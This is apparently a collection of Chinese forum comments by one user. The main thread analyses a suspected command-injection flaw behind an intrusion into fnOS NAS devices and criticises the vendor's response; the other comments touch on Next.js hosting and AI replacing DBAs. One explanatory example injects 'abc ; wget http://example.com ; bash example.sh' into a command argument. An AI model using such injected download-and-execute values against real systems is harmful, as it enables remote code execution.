pingdog

从这个回复的飞牛论坛截图，以及主帖感谢飞牛提到的工作人员处理方式，推测飞牛的员工一直在关注入侵后的行为，而不是入侵的手段
关键的下载恶意脚本的日志，还是用户在飞牛论坛中披露，常规的排查问题都从日志/debug 开始，看见这种日志都未重点关注这个进程的行为并安排紧急补丁
https://v2ex.com/t/1189392?p=1#r_17272286

属于常见的反馈处理方法罢了，例如前几天看到的备案接入问题 /t/1189197

碰到偶发性问题不认真回放，将锅先甩出去，飞牛也不是几个人的开发团队了，你说始终没员工先看出问题吗？不会，只是不主动说罢了

@dassh nextjs self hosted 都有点坑，在 vercel 就跑得好好的，生态绑架没办法

@patrickyoung 行动力 max 。属于强行提高飞牛的技术能力了🌚

和我推测的差不多，https://v2ex.com/t/1189672?p=1#r_17274769

不过提醒一下。。针对国产软件公司无预警就发布 PoC ，有点风险。适当时候注意保护自己。

@pingdog typo
例如用户输入 abc ; wget http://example.com ; bash example.sh

拼接后
... abc ; wget http://example.com ; bash example.sh —-validate ...

@sn0wdr1am 看到 /t/1189392#r_17272286 贴的图，图中的用户 xwmz1369 披露了关键日志，可以看到日志记录到 docker 相关的命令出错，exit code 125 ，玩过 docker 估计都遇到过这个 exit code 。。随即 wget 下载脚本，然后看到脚本提示—-validate not found ，说明用户的输入拼接在 dockermgr hardcode 的命令的—-validate 之前

个人推测 dockermgr 存在设计缺陷，无过滤就拼接了用户的输入合并成命令并执行，例如用户输入 abc ; wget http://example.com ; bash example.sh —-validate 。符合日志的输出

web api 是否有问题，不评价，未见到有人分享 http logs

@izToDo 捂着捂着这也算是一种特色了。。经历多几个这种事情就惯了。。你就会对中国自主品牌死心了。

btw 自己也是写代码，在这些环境下，绝大多数都是混口饭吃，上面不断搞 KPI ，下面就能跑就行

…

以下疑问仅针对 OP 当前帖子的内容描述作出

常规 B/S 开发模型下，请求进入了 server/backend 不会将请求中继到公网，即使 backend 有向公网发出请求的行为，也是 hardcode 的地址，所以这个“不定时爆连接数指向一个 ip”是随机出现还是关联到某个服务。要是服务那是不是这段逻辑执行完没关闭 socket 就耗尽了。如果问题出在 server ，就类似前阵的 react2shell ，漏洞源于 react server component ，不过滤触发语句 http/https 一样打穿

DBA 是我想的 database admin 么？若是，那就正常。。
用 git 做 DB 还是 git 能管理 DB ？
vs code ？ DB 有专用的 editor
没事搞 IaC terraform 干啥，又不是 infra 的岗。。

AI 干掉 DBA ？怕不是在火坑上跳舞，一些升级迁移，稍有不慎数据就被清了

AI 只会让本身精通的人省事省力搞一些初始阶段，后面阶段靠 AI 解决纯捣乱

iOS 26.3 beta 3 刚试下还可以，估计还没灰度到